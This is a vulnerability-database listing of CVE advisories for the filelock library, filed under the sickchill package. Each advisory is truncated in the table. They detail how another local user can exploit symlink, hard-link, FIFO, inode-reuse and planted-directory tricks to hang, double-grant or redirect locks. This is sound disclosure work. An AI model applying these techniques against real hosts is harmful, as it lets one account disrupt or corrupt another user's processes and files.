Threats affecting pkg:brew/sickchill
57 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.1 | EPSS 0.2% | CVE-2026-112934sickchill · filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local Medium6.1EPSS 0.2%GCVE DatabaseCVE-2026-112934 `SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `<path>.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `<path>.rw/holders/<token>` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path). A different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit. A FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux. Where the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled "SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs". ## Severity **CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock. Classification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium. ## Scope and preconditions - Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `<path>.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach. - FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`. - Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The tar | GCVE Database | ||
| Medium | 5.5 | EPSS 0.2% | CVE-2026-112915sickchill · filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout Medium5.5EPSS 0.2%GCVE DatabaseCVE-2026-112915 `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write. One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0. Anthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged). Classification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition. ## Scope and preconditions - The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`. - Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. ## Affected code At the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-112914sickchill · filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user Medium5.3EPSS 0.2%GCVE DatabaseCVE-2026-112914 When a soft-lock stale break finds that the marker (the lock file at `<path>`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls. The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it. ## Scope and preconditions - The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories. - The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names). - The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once. - Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own. ## Affected code At the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/bl | GCVE Database | ||
| Low | 2.5 | EPSS 0.2% | CVE-2026-112912sickchill · filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock Low2.5EPSS 0.2%GCVE DatabaseCVE-2026-112912 `raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise. That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0. Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional**, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield. ## Scope and preconditions - The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run. - The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed). - The swap is practical only with a second CPU for the other user. - The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone. - The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink. ## Affected code Scanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filel | GCVE Database | ||
| Medium | 6.3 | EPSS 0.1% | CVE-2026-112911sickchill · filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing Medium6.3EPSS 0.1%GCVE DatabaseCVE-2026-112911 `StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`<path>.filelock/claims`, `<path>.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error. Against `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `<path>.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `<path>.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1. ## Scope and preconditions - The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first. - The other user gets there first: `<path>.filelock` (strict) or `<path>.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed. - For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `<path>.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one. - The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory. - The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWri | GCVE Database | ||
| Medium | 6.1 | EPSS 0.2% | CVE-2026-112909sickchill · filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path Medium6.1EPSS 0.2%GCVE DatabaseCVE-2026-112909 `UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards. `O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2). Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below. ## Scope and preconditions - Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version. - The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated: - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory); - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`; - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs. - What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds. - Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which n | GCVE Database | ||
| Medium | 5.3 | CVE-2026-112908sickchill · filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write Medium5.3GCVE DatabaseCVE-2026-112908 `StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at `<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL. A hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own. `C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` ("malformed claim record") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732). ## Scope and preconditions - The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the "File permissions and mode" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding. - The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`: | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims | |---|---|---|---| | `1777`, like `/tmp` | `000` | `0777` | any other local user | | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` | | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` | | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out | The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL. - A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part. - Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds). - The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. Tha | GCVE Database | |||
| Medium | 4.7 | EPSS 0.2% | CVE-2026-112906sickchill · filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on Medium4.7EPSS 0.2%GCVE DatabaseCVE-2026-112906 `SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `<path>`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock. Two of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism. ## Scope and preconditions - The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., "w")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. - The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either. - File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value). - At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`). - No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit b831496, the watch is 